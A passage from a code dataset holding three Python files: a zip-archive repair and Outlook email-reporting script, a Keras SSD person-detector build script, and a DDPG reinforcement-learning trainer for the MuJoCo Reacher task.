with closing(ZipFile(archivename, \"w\", ZIP_DEFLATED)) as z:\n for root, dirs, files in os.walk(basedir):\n #NOTE: ignore empty directories\n for fn in files:\n absfn = os.path.join(root, fn)\n zfn = absfn[len(basedir)+len(os.sep):] #XXX: relative path\n z.write(absfn, zfn)\n shutil.move(zfn,archivename)\n\t\ndef pipeline_replace(text_to_be_replaced,replacement_text,text_file_path):\n#Replace the text\n\twith fileinput.FileInput(text_file_path, inplace=True) as file:\n\t\tfor line in file:\n\t\t\tprint(line.replace(text_to_be_replaced,replacement_text), end='')\n\t\ndef pipeline_replace_preprocess(srcdir,filename,content):\n\twords_in_line=[];\n\twords_in_line=content.split(\"|\")\n\ttext_file_path=srcdir+filename[0:len(filename)-4]+\".txt\"\n\treplacement_text=str(words_in_line[2])[0:len(words_in_line[2])-1]+\" \"+str(words_in_line[3])[1:]\n\tif words_in_line[2] + \"|\" + words_in_line[3] in content:\n\t\ttext_to_be_replaced=words_in_line[2] + \"|\" + words_in_line[3]\n\t\tpipeline_replace(text_to_be_replaced,replacement_text,text_file_path)\n\t\t\n\telif words_in_line[2] + \" | \" + words_in_line[3] in content:\n\t\ttext_to_be_replaced=words_in_line[2] + \" | \" + words_in_line[3]\n\t\tpipeline_replace(text_to_be_replaced,replacement_text,text_file_path)\n\ndef pipeline_delimiter_error(search_dir,filename,content):\n\tglobal zip_dir\n\tbasedir=search_dir+filename[0:len(filename)-4]\n\tzip_ref = ZipFile(search_dir+filename, 'r')\n\textract_path=cur_wrk_dir+filename[0:len(filename)-4]+\"\\\\\"\n\tif not os.path.exists(extract_path):\n\t\tos.makedirs(extract_path)\n\tzip_ref.extractall(extract_path)\n\tzip_ref.close()\n\tprint(\"Unzipped\")\n\tdstndir=pipe_delimiter_archive_path\n\tcurrentdir=cur_wrk_dir+filename[0:len(filename)-4]+\".zip\"\n\tshutil.copy(search_dir+filename,dstndir+filename)\n\tpipeline_replace_preprocess(extract_path,filename,content)\n\tprint(\"Text Replaced\")\n\tzip_dir=cur_wrk_dir+filename[0:len(filename)-4]\n\tshutil.make_archive(filename[0:len(filename)-4], 'zip', zip_dir)\n\tprint(\"Zipped again!\");\n\tos.remove(search_dir+filename)\n\tshutil.copy(currentdir,walz_dir)\n\tos.remove(currentdir)\n\tprint(\"Moved for reproceesing\")\t\n\t\t\ndef corrupted_file_error(filename,search_dir):\n\tglobal corrupted_files\n\tcorrupted_files.append(filename)\n\tmove(search_dir+filename,corrupt_archive_path)\n\t\t\ndef write_to_file():\n\tthe_file = open('corrupted_files.txt', 'w')\n\tfor a in corrupted_files:\n\t\tthe_file.write(\"%s\\n\" % a)\n\tthe_file.close()\n\t\t\t\t\ndef sendEmail(subject='',body='',attachment=''):\n\timport win32com.client as win32\n\toutlook = win32.Dispatch('outlook.application')\n\tmail = outlook.CreateItem(0)\n\t#emails = \";\".join(emailList)\n\tmail.To = \"balaji.s@mrcooper.com\"\n\tmail.CC = \"bharathwaj.vasudevan@mrcooper.com\"\n\tsubject += now\n\tmail.Subject = subject\n\tmail.Body = body\n\tif attachment != '':\n\t\tmail.Attachments.Add(attachment)\n\ttry:\n\t\tmail.Send()\n\t\tprint(\"Successfully sent email\")\n\texcept Exception:\n\t\tprint(\"Error: unable to send email\")\n\t\nwalz_failed_files=[];\nprint(\"Processing...\")\nif not os.path.exists(corrupt_archive_path):\n\tos.makedirs(corrupt_archive_path)\nif not os.path.exists(pipe_delimiter_archive_path):\n\tos.makedirs(pipe_delimiter_archive_path)\nif not os.path.exists(duplicates_archive_path):\n\tos.makedirs(duplicates_archive_path)\n\t\nfor f in os.listdir(search_dir):\n\tif fnmatch.fnmatch(f, '*.zip'):\n\t\tsingle_file={};\n\t\tsingle_file['Filename']=f\n\t\tsingle_file['Reason']=''\n\t\tsingle_file['Content']=''\n\t\twalz_failed_files.append(single_file)\n\t\tdel(single_file)\n\t\t\nprint(\"No. of failed files:\",len(walz_failed_files))\n\n#Search reason from outlook\t\t\noutlook = win32com.client.Dispatch(\"Outlook.Application\").GetNamespace(\"MAPI\")\nsearch_folder = \"App Trace\"\noutlook = outlook.Folders\n\n#Fetch messages from outlook\nfor primary in outlook:\n\tfor secondary in primary.Folders:\n\t\tif str(secondary) == search_folder:\n\t\t\tmessages=secondary.Items \nprint(\"Fetched Mails\")\n\t\t\t\t\t\n#Fetch the reason for each file\nfor message in messages:\n\tmessage_date=str(message.ReceivedTime)[0:10]\n\tif now == message_date:\n\t\tcontent=str(message.body)[130:720]\n\t\tfor b in walz_failed_files:\n\t\t\tfile_name=str(b['Filename'])\n\t\t\tif file_name in content:\n\t\t\t\tif \"pipe-delimited index\" in content:\n\t\t\t\t\tb['Reason']+=\"Pipe Delimited Index\"\n\t\t\t\t\tb['Content']=content[250:650]\n\t\t\t\t\tbreak\n\t\t\t\telif \"file exists\" in content:\n\t\t\t\t\tb['Reason']+=\"File already exists\"\n\t\t\t\t\tbreak\n\t\t\t\telif \"used by another process\" in content or \"timeout \" in content:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tb['Reason']+=\"Corrupted File\"\n\t\t\t\t\tbreak\t\t\t\nprint(\"Fetched Failed Reasons\") \n\n\nprint(\"Processing Files\")\ncount=1\nfor single_file in walz_failed_files:\n\tprint(\"Processed %d out of %d files\",count,len(walz_failed_files))\n\tcount+=1\n\tfname=str(single_file['Filename'])\n\tfname=fname[0:len(fname)-4]\n\tif \"Corrupted File\" in single_file['Reason']:\n\t\tcorrupted_file_error(single_file['Filename'],search_dir)\n\t\t\n\telif \"Pipe Delimited Index\" in single_file['Reason']:\n\t\tpipeline_delimiter_error(search_dir,single_file['Filename'],single_file['Content'])\n\t\tshutil.move(cur_wrk_dir+fname,pipe_delimiter_archive_path)\n\n\telif \"File already exists\" in single_file['Reason']:\n\t\tfile_exists_error(search_dir,single_file['Filename'])\n\n\t\t\nif len(corrupted_files) > 0:\n\twrite_to_file()\n\tattachment_location=cur_wrk_dir+\"corrupted_files.txt\"\n\tlending_space_body=\"PFA list of files which failed during the walz transfer process. These files are corrupted. Kindly redrop these files.\"\n\tsendEmail(\"Walz Corrupted Files \",lending_space_body,attachment_location)\n\tos.remove(attachment_location)\nprint(\"Done!\")", "sub_path": "walz.py", "file_name": "walz.py", "file_ext": "py", "file_size_in_byte": 6888, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "datetime.date.today", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 13, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 35, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "contextlib.closing", "line_number": 40, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 40, "usage_type": "call"}, {"api_name": "zipfile.ZIP_DEFLATED", "line_number": 40, "usage_type": "argument"}, {"api_name": "os.walk", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 45, "usage_type": "attribute"}, {"api_name": "shutil.move", "line_number": 47, "usage_type": "call"}, {"api_name": "fileinput.FileInput", "line_number": 51, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 74, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 80, "usage_type": "call"}, {"api_name": "shutil.make_archive", "line_number": 84, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 86, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 87, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 88, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 94, "usage_type": "call"}, {"api_name": "win32com.client.Dispatch", "line_number": 104, "usage_type": "call"}, {"api_name": "win32com.client", "line_number": 104, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path", "line_number": 124, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 127, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 129, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 130, "usage_type": "call"}, {"api_name": "win32com.client.client.Dispatch", "line_number": 141, "usage_type": "call"}, {"api_name": "win32com.client.client", "line_number": 141, "usage_type": "attribute"}, {"api_name": "win32com.client", "line_number": 141, "usage_type": "name"}, {"api_name": "shutil.move", "line_number": 187, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 198, "usage_type": "call"}]} +{"seq_id": "78403286", "text": "import keras_ssd7_person as ssd_face\nimport configparser\nimport tensorflow as tf\nimport keras.backend as K\nsess = tf.Session()\nK.set_session(sess)\nimport numpy as np\ndef read_ssd_config(cfg):\n if cfg is None:\n raise ('no config file found')\n return\n if isinstance(cfg, str):\n config = configparser.ConfigParser()\n config.read(cfg)\n cfg = config\n img_height = cfg.getint('ssd', 'img_height') # Height of the input images\n img_width = cfg.getint('ssd', 'img_width') # Width of the input images\n img_channels = cfg.getint('ssd', 'img_channels') # Number of color channels of the input images\n intensity_mean = cfg.getfloat('ssd',\n 'intensity_mean') # Set this to your preference (maybe `None`). The current settings transform the input pixel values to the interval `[-1,1]`.\n intensity_range = cfg.getfloat('ssd',\n 'intensity_range') # Set this to your preference (maybe `None`). The current settings transform the input pixel values to the interval `[-1,1]`.\n n_classes = cfg.getint('ssd', 'n_classes') # Number of positive classes\n scales = list(map(float, cfg.get('ssd', 'scales').split(\n ','))) # An explicit list of anchor box scaling factors. If this is passed, it will override `min_scale` and `max_scale`.\n # aspect_ratios = [0.5, 1.0, 2.0] # The list of aspect ratios for the anchor boxes\n aspect_ratios = list(\n map(float, cfg.get('ssd', 'aspect_ratios').split(','))) # The list of aspect ratios for the anchor boxes\n two_boxes_for_ar1 = cfg.getboolean('ssd',\n 'two_boxes_for_ar1') # Whether or not you want to generate two anchor boxes for aspect ratio 1\n steps = None # In case you'd like to set the step sizes for the anchor box grids manually; not recommended\n offsets = None # In case you'd like to set the offsets for the anchor box grids manually; not recommended\n clip_boxes = cfg.getboolean('ssd',\n 'clip_boxes') # Whether or not to clip the anchor boxes to lie entirely within the image boundaries\n variances = list(map(float, cfg.get('ssd', 'variances').split(\n ','))) # The list of variances by which the encoded target coordinates are scaled\n normalize_coords = cfg.getboolean('ssd',\n 'normalize_coords') # Whether or not the model is supposed to use coordinates relative to the image size\n return {'image_size':(img_height, img_width, img_channels),\n 'n_classes':n_classes,\n # 'mode': 'anchor',\n 'mode': 'hardware',\n 'l2_regularization':0.0005,\n 'scales':scales,\n 'aspect_ratios_global':aspect_ratios,\n 'aspect_ratios_per_layer':None,\n 'two_boxes_for_ar1':two_boxes_for_ar1,\n 'steps':steps,\n 'offsets':offsets,\n 'clip_boxes':clip_boxes,\n 'variances':variances,\n 'normalize_coords':normalize_coords,\n 'subtract_mean':None,\n 'divide_by_stddev':None}\n\n\noption = read_ssd_config('/home/bodong/playground/keras_kneron_v2/deploy/ssd_person/person.cfg')\n\nmodel = ssd_face.build_model(**option)\nmodel.summary()\nmodel.load_weights('/home/bodong/playground/keras_kneron_v2/deploy/ssd_person/ssd200_pascal_07+12_epoch-194_loss-1.3749_val_loss-1.2931.h5')\n\nif option['mode'] == 'anchor':\n data = model.predict(np.zeros((1,200,200,3)))\n np.save('./anchor_person_ssd10.npy', {'0':data[0], '1':data[1], '2':data[2], '3':data[3]})\nelif option['mode'] == 'hardware':\n model.save('./ssd_person_hw.hdf5')\n", "sub_path": "models/model_test.py", "file_name": "model_test.py", "file_ext": "py", "file_size_in_byte": 3678, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "tensorflow.Session", "line_number": 5, "usage_type": "call"}, {"api_name": "keras.backend.set_session", "line_number": 6, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 6, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 13, "usage_type": "call"}, {"api_name": "keras_ssd7_person.build_model", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 65, "usage_type": "call"}]} +{"seq_id": "274895218", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport os.path\n\nimport scipy\nimport numpy\nimport gym\nimport mujoco_py\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport random\n\ntf.compat.v1.disable_eager_execution()\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nos.environ['CUDA_VISIBLE_DEVICES'] = '1' #make render not lag\nenv_name='Reacher-v2'\nenv=gym.make(env_name)\ns_dim = env.observation_space.shape[0] #11 np.cos(theta) 2,np.sin(theta) 2,qpos[2],qpos[3] ,qvel[0],qvel[1]\n # self.get_body_com(\"fingertip\")-self.get_body_com(\"target\") 3\na_dim = env.action_space.shape[0] #2 \na_bound=env.action_space.high\newma_r=0\narg_seed = 0\n#########################seed##############################\ntf.compat.v1.reset_default_graph()\nrandom.seed(arg_seed)\nnp.random.seed(arg_seed)\nenv.seed(arg_seed)\nenv.action_space.np_random.seed(arg_seed)\n##################### hyper parameters ####################\nLR_C=0.001\nLR_A=0.0001\nGAMMA=0.99\nTAU=0.001\n\nMEMORY_CAPACITY=10000\nBATCH_SIZE=64\neval_freq = 5000\n####################testing part#################################\ndef evaluation(env_name,seed,ddpg,eval_episode=10):\n avgreward=0\n avg=[]\n eval_env=gym.make(env_name)\n eval_env.seed(seed+100)\n for eptest in range(eval_episode):\n running_reward =0\n done=False\n s=eval_env.reset()\n while not done: \n action= ddpg.choose_action(s)\n s_,r,done,info=eval_env.step(action)\n s=s_\n running_reward=running_reward+r\n print('Episode {}\\tReward: {} \\t AvgReward'.format(eptest, running_reward))\n avgreward=avgreward+running_reward\n avg.append(running_reward)\n avgreward=avgreward/eval_episode\n print(\"------------------------------------------------\")\n print(\"Evaluation average reward :\",avgreward)\n print(\"------------------------------------------------\")\n\n return avgreward/100\n############################### DDPG ####################################\n'''\nenv.reset()\nfor _ in range(100000):\n env.render()\n a=env.action_space.sample() \n s,r,done,_=env.step(a)\n #print(s)\n\n '''\nclass DDPG(object):\n def __init__(self, a_dim, s_dim, a_bound,):\n self.memory = np.zeros((MEMORY_CAPACITY, s_dim * 2 + a_dim + 1+1), dtype=np.float32)\n self.pointer = 0\n configuration = tf.compat.v1.ConfigProto()\n configuration.gpu_options.allow_growth = True\n self.sess = tf.compat.v1.Session(config=configuration)\n #self.sess = tf.compat.v1.Session()\n tf.random.set_seed(arg_seed)\n\n\n self.a_dim, self.s_dim, self.a_bound = a_dim, s_dim, a_bound,\n self.S = tf.compat.v1.placeholder(tf.float32, [None, s_dim], 's')\n self.S_ = tf.compat.v1.placeholder(tf.float32, [None, s_dim], 's_')\n self.R = tf.compat.v1.placeholder(tf.float32, [None, 1], 'r')\n self.Done=tf.compat.v1.placeholder(tf.float32, [None, 1], 'done')\n\n with tf.compat.v1.variable_scope('Actor'):\n self.a = self._build_a(self.S, scope='eval', trainable=True)\n a_ = self._build_a(self.S_, scope='target', trainable=False)\n with tf.compat.v1.variable_scope('Critic'):\n # assign self.a = a in memory when calculating q for td_error,\n # otherwise the self.a is from Actor when updating Actor\n self.q = self._build_c(self.S, self.a, scope='eval', trainable=True)\n q_ = self._build_c(self.S_, a_, scope='target', trainable=False)\n\n # networks parameters\n self.ae_params = tf.compat.v1.get_collection(tf.compat.v1.GraphKeys.GLOBAL_VARIABLES, scope='Actor/eval')\n self.at_params = tf.compat.v1.get_collection(tf.compat.v1.GraphKeys.GLOBAL_VARIABLES, scope='Actor/target')\n self.ce_params = tf.compat.v1.get_collection(tf.compat.v1.GraphKeys.GLOBAL_VARIABLES, scope='Critic/eval')\n self.ct_params = tf.compat.v1.get_collection(tf.compat.v1.GraphKeys.GLOBAL_VARIABLES, scope='Critic/target')\n\n # target net replacement\n self.soft_replace = [tf.compat.v1.assign(t, (1 - TAU) * t + TAU * e)\n for t, e in zip(self.at_params + self.ct_params, self.ae_params + self.ce_params)]\n\n q_target = self.R + (1-self.Done)*GAMMA * q_\n # in the feed_dic for the td_error, the self.a should change to actions in memory\n td_error = tf.compat.v1.losses.mean_squared_error(labels=q_target, predictions=self.q)\n self.ctrain = tf.compat.v1.train.AdamOptimizer(LR_C).minimize(td_error, var_list=self.ce_params)\n \n \n a_loss = - tf.reduce_mean(input_tensor=self.q) # maximize the q\n \n \n self.atrain = tf.compat.v1.train.AdamOptimizer(LR_A).minimize(a_loss, var_list=self.ae_params)\n\n self.sess.run(tf.compat.v1.global_variables_initializer())\n\n def choose_action(self, s):\n \n return self.sess.run(self.a, {self.S: s[np.newaxis, :]})[0]\n\n def learn(self):\n # soft target replacement\n self.sess.run(self.soft_replace)\n\n indices = np.random.choice(MEMORY_CAPACITY, size=BATCH_SIZE)\n bt = self.memory[indices, :]\n bs = bt[:, :self.s_dim]\n ba = bt[:, self.s_dim: self.s_dim + self.a_dim]\n br= bt[:,self.s_dim+self.a_dim:self.s_dim+self.a_dim+1]\n #br = bt[:, -self.s_dim - 1-1: -self.s_dim-1]\n bs_ = bt[:,self.s_dim+self.a_dim+1:self.s_dim+self.a_dim+1+self.s_dim]\n #bs_ = bt[:, -self.s_dim-1:-self.s_dim] \n bd = bt[:,-1:]\n self.sess.run(self.atrain, {self.S: bs})\n self.sess.run(self.ctrain, {self.S: bs, self.a: ba, self.R: br, self.S_: bs_,self.Done:bd})\n\n def store_transition(self, s, a, r, s_,done):\n transition = np.hstack((s, a, [r], s_,done))\n index = self.pointer % MEMORY_CAPACITY # replace the old memory with new memory\n self.memory[index, :] = transition\n self.pointer += 1\n\n def _build_a(self, s, scope, trainable):\n with tf.compat.v1.variable_scope(scope):\n # REGULARIZER = tf.keras.regularizers.l2(0.1)\n\n net = tf.compat.v1.layers.dense(s, 400, activation=tf.nn.relu, name='l1', trainable=trainable\n )\n net2 = tf.compat.v1.layers.dense(net,300, activation=tf.nn.relu, name='l2', trainable=trainable\n )\n a = tf.compat.v1.layers.dense(net2, self.a_dim, activation=tf.nn.tanh, name='a', trainable=trainable\n )\n return tf.multiply(a, self.a_bound, name='scaled_a')\n '''\n def _build_c(self, s, a, scope, trainable):\n with tf.compat.v1.variable_scope(scope):\n n_l1 = 400\n w1_s = tf.compat.v1.get_variable('w1_s', [self.s_dim, n_l1], trainable=trainable)\n w1_a = tf.compat.v1.get_variable('w1_a', [self.a_dim, n_l1], trainable=trainable)\n b1 = tf.compat.v1.get_variable('b1', [1, n_l1], trainable=trainable)\n net = tf.nn.relu(tf.matmul(s, w1_s) + tf.matmul(a, w1_a) + b1)\n net2= tf.compat.v1.layers.dense(net,300,activation=tf.nn.relu, name='cl2', trainable=trainable)\n return tf.compat.v1.layers.dense(net2, 1, trainable=trainable) # Q(s,a)\n '''\n def _build_c(self, s, a, scope, trainable):\n with tf.compat.v1.variable_scope(scope):\n net = tf.compat.v1.layers.dense(s, 400, activation=tf.nn.relu, name='cl1', trainable=trainable)\n #net2 = tf.compat.v1.layers.dense(tf.concat[net,a], 300, activation=tf.nn.relu, name='cl1', trainable=trainable)\n w2_net = tf.compat.v1.get_variable('w2_net', [400, 300], trainable=trainable)\n w2_a = tf.compat.v1.get_variable('w2_a', [self.a_dim, 300], trainable=trainable)\n b2= tf.compat.v1.get_variable('b1', [1, 300], trainable=trainable)\n net2= tf.nn.relu(tf.matmul(a,w2_a)+tf.matmul(net,w2_net)+b2)\n return tf.compat.v1.layers.dense(net2, 1, trainable=trainable) # Q(s,a)\n \nddpg = DDPG(a_dim,s_dim,a_bound) \n\n\nNet_action=np.zeros((100000,a_dim+2)) \newma = []\neva_reward=[]\nstore_action=[]\nreward=[]\ni=0 \nfor ep in range(100000000):\n #env.render()\n\n R=0\n done=False\n s=env.reset()\n \n while not done:\n #env.render()\n '''\n if np.random.random() <= exploration:\n action = env.action_space.sample()\n else: \n action = ddpg.choose_action(s)\n '''\n if ddpg.pointer<1000:\n action=env.action_space.sample()\n else :\n action=ddpg.choose_action(s)+np.random.normal(0,0.1,a_dim)\n '''\n Net_action[i][0:2]=action \n if -0.5<=sum(action)<=0.5 and -1<=action[0]<=1 and -1<=action[1]<=1:\n Net_action[i][2]=0\n #print(action)\n else:\n Net_action[i][2]=-1\n Net_action[i][3] = ep\n i=i+1\n '''\n store_action.append(action)\n #print(sum(action))\n s_,r,done,info=env.step(action)\n ddpg.store_transition(s,action,r,s_,done)\n if ddpg.pointer>MEMORY_CAPACITY:\n ddpg.learn()\n if (ddpg.pointer+1)% eval_freq==0:\n eva_reward.append(evaluation(env_name,arg_seed,ddpg))\n s= s_\n R += r\n reward.append(R)\n ewma_r = 0.05 * R + (1 - 0.05) * ewma_r\n print({\n 'episode': ep,\n 'reward' :R,\n 'ewma_reward' :ewma_r\n })\n ewma.append(ewma_r)\n if(ddpg.pointer>=1000000):\n print(\"done training\")\n break\na=[]\nfor i in range(1000):\n a.append(i*1000)\nplt.plot(a,ewma)\nplt.title(\"ewma reward, lr=0.05 fix, final ewma={}\".format(ewma[999])) \n\n#mask = np.isin(Net_action[:,2], -1)\n#violate_index=np.where(mask)\n\nnp.save(\"Reacher_{}_DDPG_Reward\".format(arg_seed),reward)\nnp.save(\"Reacher_{}_DDPG_Action\".format(arg_seed),store_action)\nnp.save(\"Reacher_{}_DDPG_eval_reward\".format(arg_seed),eva_reward)\n \n\n'''\navgreward=0\nfor ep in range(100):\n R=0\n running_reward =0\n done=False\n s=env.reset()\n while not done:\n env.render()\n\n action= ddpg.choose_action(s)\n s_,r,done,info=env.step(action)\n s=s_\n running_reward=running_reward+r\n print('Episode {}\\tReward: {} \\t AvgReward'.format(ep, running_reward))\n avgreward=avgreward+running_reward\n\nprint(avgreward/100) #-10.56\n \n#saver = tf.compat.v1.train.Saver()\n#save_path=saver.save(ddpg.sess,\"/home/johnny/Desktop/DDPG_model/ddpgmodel.ckpt\")\n '''\n \n############debug###################### \n''' \nwhile True:\n test=env.np_random.uniform(low=-.2, high=.2, size=2)\n if np.linalg.norm(test) < 0.2:\n break\n#env.get_body_com(\"body1\")[0]+0.1*np.cos(sum(env.sim.data.qpos.flat[:2]))\n#env.get_body_com(\"body1\")[1]+0.1*np.sin(sum(env.sim.data.qpos.flat[:2]))\n'''", "sub_path": "DDPG_Reacher.py", "file_name": "DDPG_Reacher.py", "file_ext": "py", "file_size_in_byte": 10962, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "tensorflow.compat.v1.disable_eager_execution", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 20, "usage_type": "name"}, {"api_name": "gym.make", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.reset_default_graph", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 30, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 32, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.ConfigProto", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tensorflow.random.set_seed", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 86, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.variable_scope", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.variable_scope", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_collection", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_collection", "line_number": 106, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 106, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_collection", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_collection", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.assign", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 111, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.losses.mean_squared_error", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.train.AdamOptimizer", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.train.AdamOptimizer", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.global_variables_initializer", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 129, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 135, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.variable_scope", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 154, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.layers.dense", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 157, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 157, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.layers.dense", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.layers.dense", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.multiply", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.variable_scope", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 176, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.layers.dense", "line_number": 177, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 177, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 177, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_variable", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 179, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_variable", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 180, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.get_variable", "line_number": 181, "usage_type": "call"}, 